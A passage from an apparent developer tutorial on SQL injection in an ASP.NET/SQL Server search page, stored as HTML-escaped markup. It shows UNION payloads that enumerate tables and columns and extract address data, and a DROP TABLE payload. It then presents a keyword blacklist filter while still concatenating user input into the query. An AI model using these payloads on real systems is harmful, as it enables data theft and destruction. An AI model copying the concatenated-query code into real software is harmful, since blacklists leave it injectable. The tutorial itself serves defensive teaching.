"ball", the bad guy may type:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;ZZZ&lt;/span&gt;&lt;span style="color:black"&gt;'&amp;nbsp;UNION&amp;nbsp;SELECT&amp;nbsp;name,&amp;nbsp;CAST(id&amp;nbsp;AS&amp;nbsp;VARCHAR(10)),&amp;nbsp;''&amp;nbsp;FROM&amp;nbsp;sysobjects&amp;nbsp;WHERE&amp;nbsp;xtype&amp;nbsp;='&lt;/span&gt;&lt;span style="color:black"&gt;U&lt;/span&gt;&lt;span style="color:black"&gt;'&amp;nbsp;--&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Clever! The guy noted on the original search that there are three columns returned and formed a query to union all user tables from the current database to the result set. First, the value ZZZ is added as search criteria, then the query to extract the user tables is injected, and finally the comment section at the end trims the reminder of the original query. Now the result looks as follows:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ProductNumber&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Color&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;-----------------&amp;nbsp;&amp;nbsp;&amp;nbsp;----------------&amp;nbsp;&amp;nbsp;-------&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;53575229&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;AddressType&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;101575400&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;AWBuildVersion&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;149575571&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;BillOfMaterials&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;181575685&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;Contact&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;309576141&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;ContactCreditCard&amp;nbsp;&amp;nbsp;&amp;nbsp;405576483&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;ContactType&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;437576597&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Once the user tables are known, then next step could be the following search string:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;ZZZ&lt;/span&gt;&lt;span style="color:black"&gt;'&amp;nbsp;UNION&amp;nbsp;SELECT&amp;nbsp;COLUMN_NAME,&amp;nbsp;DATA_TYPE,&amp;nbsp;TABLE_SCHEMA&amp;nbsp;FROM&amp;nbsp;INFORMATION_SCHEMA.COLUMNS&amp;nbsp;WHERE&amp;nbsp;TABLE_NAME&amp;nbsp;=&amp;nbsp;'&lt;/span&gt;&lt;span style="color:black"&gt;Address&lt;/span&gt;&lt;span style="color:black"&gt;'&amp;nbsp;--&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;This time the search results return the columns information for the Address user table:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ProductNumber&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Color&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;----------------&amp;nbsp;&amp;nbsp;&amp;nbsp;----------------&amp;nbsp;&amp;nbsp;--------&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;AddressID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Person&amp;nbsp;&lt;br /&gt;&lt;br&gt;AddressLine1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;nvarchar&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Person&amp;nbsp;&lt;br /&gt;&lt;br&gt;AddressLine2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;nvarchar&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Person&amp;nbsp;&lt;br /&gt;&lt;br&gt;City&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;nvarchar&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Person&amp;nbsp;&lt;br /&gt;&lt;br&gt;ModifiedDate&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;datetime&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Person&amp;nbsp;&lt;br /&gt;&lt;br&gt;PostalCode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;nvarchar&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Person&amp;nbsp;&lt;br /&gt;&lt;br&gt;rowguid&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;uniqueidentifier&amp;nbsp;&amp;nbsp;Person&amp;nbsp;&lt;br /&gt;&lt;br&gt;StateProvinceID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;Person&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Going one step further, the malicious user can start extracting data:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;ZZZ&lt;/span&gt;&lt;span style="color:black"&gt;'&amp;nbsp;UNION&amp;nbsp;SELECT&amp;nbsp;AddressLine1,&amp;nbsp;City,&amp;nbsp;PostalCode&amp;nbsp;FROM&amp;nbsp;Person.Address&amp;nbsp;--&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;This results in listing the address data from the Address table:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ProductNumber&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Color&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;-----------------------------&amp;nbsp;&amp;nbsp;&amp;nbsp;---------------------&amp;nbsp;&amp;nbsp;--------&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:#434343"&gt;#&lt;/span&gt;&lt;span style="color:black"&gt;500&lt;/span&gt;&lt;span style="color:gray"&gt;-&lt;/span&gt;&lt;span style="color:black"&gt;75&amp;nbsp;O&lt;/span&gt;&lt;span style="color:black"&gt;'Connor&amp;nbsp;Street&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ottawa&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;K4B&amp;nbsp;1S2&amp;nbsp;&lt;br /&gt;&lt;br&gt;#9900&amp;nbsp;2700&amp;nbsp;Production&amp;nbsp;Way&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Burnaby&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;V5A&amp;nbsp;4X1&amp;nbsp;&lt;br /&gt;&lt;br&gt;00,&amp;nbsp;rue&amp;nbsp;Saint-Lazare&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dunkerque&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;59140&amp;nbsp;&lt;br /&gt;&lt;br&gt;02,&amp;nbsp;place&amp;nbsp;de&amp;nbsp;Fontenoy&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Verrieres&amp;nbsp;Le&amp;nbsp;Buisson&amp;nbsp;&amp;nbsp;&amp;nbsp;91370&amp;nbsp;&lt;br /&gt;&lt;br&gt;035,&amp;nbsp;boulevard&amp;nbsp;du&amp;nbsp;Montparnasse&amp;nbsp;&amp;nbsp;Verrieres&amp;nbsp;Le&amp;nbsp;Buisson&amp;nbsp;&amp;nbsp;&amp;nbsp;91370&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;So far the SQL injection attacker has been only exploring data. But things can get really unpleasant if the attacker starts updating or deleting data. Or even dropping tables. The following search text will drop a table with credit card info (if it exists):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:black"&gt;ZZZ&lt;/span&gt;&lt;span style="color:black"&gt;';&amp;nbsp;DROP&amp;nbsp;TABLE&amp;nbsp;CreditCardInfo&amp;nbsp;--&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;All this should convince every developer that SQL injection is a very serious threat that should not be taken lightly. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Solutions&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Handling SQL injection can be done both on the client and the server side. The following techniques will demonstrate how to accomplish that.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Client Side Filtering&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The client APIs normally provide a variety of methods to filter the user input. It could include using regular expressions, limiting the size of the search arguments, filtering for dangerous keywords, etc. Here is example of creating a black list of keywords that will be filtered from the user input:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;public&amp;nbsp;static&amp;nbsp;string&lt;/span&gt;&lt;span style="color:black"&gt;[]&amp;nbsp;blackList&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;{&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;--&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;;--&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;;&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;/*&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;*/&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;@@&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;@&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;char&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;nchar&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;varchar&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;nvarchar&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;alter&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;begin&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;cast&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;create&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;cursor&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;declare&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;delete&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;drop&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;end&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;exec&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;execute&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;fetch&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;insert&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;kill&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;select&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;sys&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;sysobjects&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;syscolumns&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;table&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;update&amp;quot;&lt;/span&gt;&lt;span style="color:black"&gt;}&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;private&amp;nbsp;bool&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;CheckInput&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;string&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SearchText&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;{&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;for&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:blue"&gt;int&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;i&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;i&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;&amp;lt;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;blackList.Length&lt;/span&gt;&lt;span style="color:gray"&gt;;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;i&lt;/span&gt;&lt;span style="color:gray"&gt;++)&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;{&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;if&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;((&lt;/span&gt;&lt;span style="color:black"&gt;SearchText.IndexOf&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;blackList[i]&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;StringComparison.OrdinalIgnoreCase&lt;/span&gt;&lt;span style="color:gray"&gt;)&amp;nbsp;&amp;gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;0&lt;/span&gt;&lt;span style="color:gray"&gt;))&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;{&lt;br /&gt;&lt;br&gt;HttpContext.Current.Response.Redirect&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;~/Error.aspx&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;);&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;return&amp;nbsp;false&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;}&lt;br /&gt;&lt;br&gt;}&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;return&amp;nbsp;true&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;The CheckInput function verifies the user input for any of the words on the black list and if found redirects to an error page. Then the search function looks like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;string&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;cmdStr&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;@&amp;quot;SELECT&amp;nbsp;Name,&amp;nbsp;ProductNumber,&amp;nbsp;Color&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FROM&amp;nbsp;Production.Product&amp;nbsp;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WHERE&amp;nbsp;Name&amp;nbsp;LIKE&amp;nbsp;'%&amp;quot;&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;+&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SearchText.Text&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;+&amp;nbsp;&lt;/span&gt;&lt;span style="color:darkred"&gt;&amp;quot;%'&amp;quot;&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;if&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;CheckInput&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;SearchText.Text&lt;/span&gt;&lt;span style="color:gray"&gt;))&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;{&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;using&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;SqlConnection&amp;nbsp;conn&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SqlConnection&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;connStr&lt;/span&gt;&lt;span style="color:gray"&gt;))&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;using&amp;nbsp;&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;SqlDataAdapter&amp;nbsp;sda&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;SqlDataAdapter&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;cmdStr&lt;/span&gt;&lt;span style="color:gray"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;conn&lt;/span&gt;&lt;span style="color:gray"&gt;))&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;{&lt;br /&gt;&lt;br&gt;DataTable&amp;nbsp;dtProducts&amp;nbsp;&lt;/span&gt;&lt;span style="color:blue"&gt;=&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;DataTable&lt;/span&gt;&lt;span style="color:gray"&gt;();&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;sda.Fill&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;dtProducts&lt;/span&gt;&lt;span style="color:gray"&gt;);&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;return&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;dtProducts.DefaultView&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:black"&gt;}&lt;br /&gt;&lt;br&gt;}&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;else&lt;br /&gt;&lt;br&gt;&lt;/span&gt;&lt;span 